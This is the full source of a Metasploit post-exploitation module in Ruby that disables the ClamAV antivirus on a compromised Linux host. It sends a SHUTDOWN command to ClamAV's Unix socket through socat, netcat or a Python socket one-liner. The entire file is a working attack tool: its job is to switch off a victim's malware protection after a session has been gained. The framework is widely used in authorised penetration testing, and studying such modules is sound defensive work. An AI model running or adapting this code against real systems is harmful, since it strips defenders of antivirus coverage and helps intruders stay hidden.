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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Unix
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Disable ClamAV',
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        'Description' => %q{
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          This module will write to the ClamAV Unix socket to shutoff ClamAV.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'DLL_Cool_J'
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        ],
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        'Platform' => [ 'linux' ],
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        'SessionTypes' => [ 'meterpreter', 'shell' ],
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        'Notes' => {
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          'Stability' => [SERVICE_RESOURCE_LOSS],
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          'Reliability' => [],
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          'SideEffects' => [IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('CLAMAV_UNIX_SOCKET', [true, 'ClamAV unix socket', '/run/clamav/clamd.ctl' ]),
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        OptString.new('COMMAND', [true, 'ClamAV command to execute', 'SHUTDOWN' ])
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      ]
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    )
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  end
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  def run
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    clamav_socket = datastore['CLAMAV_UNIX_SOCKET']
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    cmd = datastore['COMMAND']
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    if command_exists?('socat')
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      print_good('socat exists')
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      payload = "echo #{cmd} | socat - UNIX-CONNECT:#{clamav_socket}"
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    elsif command_exists?('nc')
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      print_good('nc exists')
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      payload = "echo #{cmd} | nc -U #{clamav_socket}"
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    elsif command_exists?('python')
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      print_good('python exists')
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      payload = "python -c \"import socket; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); sock.connect('#{clamav_socket}'); sock.send('#{cmd}'.encode());\""
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    elsif command_exists?('python3')
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      print_good('python3 exists')
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      payload = "python3 -c \"import socket; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); sock.connect('#{clamav_socket}'); sock.send('#{cmd}'.encode());\""
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    else
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      fail_with(Failure::NotFound, 'No suitable binary found on the target host. Quitting!')
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    end
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    print_status("Checking file path #{clamav_socket} exists and is writable... ")
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    print_bad('File does NOT exist or is not writable!') unless writable?(clamav_socket.to_s)
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    print_good('File does exist and is writable!')
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    print_good("Sending #{cmd}...")
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    cmd_exec(payload)
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  end
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end
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